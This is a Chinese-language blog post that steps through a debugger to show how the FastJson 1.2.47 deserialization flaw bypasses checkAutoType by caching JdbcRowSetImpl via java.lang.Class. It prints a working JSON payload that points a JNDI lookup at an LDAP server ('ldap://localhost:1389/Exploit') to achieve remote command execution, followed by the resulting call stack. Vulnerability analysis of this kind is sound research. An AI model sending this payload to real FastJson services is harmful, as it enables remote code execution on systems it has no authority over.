Automne's Shadow.

FastJson 1.2.47 Deserialization Debug

2019/12/26 Share

Web

前面调试分析了FastJson 1.2.24的反序列化漏洞,通过JdbcRowsetImpl的gadget可以成功利用。在1.2.24版本之后,默认不开启AutoTypeSupport,使用了checkAutoType()函数,通过黑白名单的方式来防御FastJson反序列化漏洞,因此后面发现的FastJson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。并且这些利用方式都是需要开启AutoTypeSupport,开启方式如下:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

导入1.2.47版本,使用之前的payload,发现报错autoType is not support,因为payload里的class在黑名单内。

automne

一直到2019年发现了FastJson 1.2.25-1.2.47版本内的反序列化漏洞,该漏洞巧妙地绕过了checkAutoType()函数,并且无需开启AutoTypeSupport,于是又火了一把。

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"ldap://localhost:1389/Exploit",

"autoCommit":true

}

}

打开LdapServer,运行payload成功触发命令执行。

automne

下面开始调试,同样在JSON.parse(payload)处打断点。

直接来到DefaultJSONParser里,对java.lang.Class进行checkAutoType的位置

automne

然后来到ParserConfig里,看到没有开启autoTypeSupport,所以值为默认的false

automne

接着通过getClassFromMapping(typeName)从Mappings里取对应的类

automne

automne

没有获取到,然后进入下面的findClass函数里,并且最终找到了java.lang.Class

automne

automne

于是通过了checkAutoType函数

然后,进入到后面的deserialize函数里

automne

并将val传入的值解析出来传递给strVal

automne

automne

随后判断clazz是否为class类,是的话进入TypeUtils.loadClass函数里

automne

来到loadClass函数,看到cache的值为true,并且最终将com.sun.rowset.JdbcRowSetImpl传入mappings

automne

automne

继续往下调,后面跟到了对com.sun.rowset.JdbcRowSetImpl这个@type进行checkAutoType的地方,看看是怎么绕过的。

automne

意料之中,clazz从前面的mapping里取到了值

automne

然后返回了,成功绕过checkAutoType函数

automne

然后在deserializer.deserialze函数里触发反序列化漏洞。

automne

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:615, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:759, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1283, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
main:11, JdbcRowSetImpPoc
CATALOG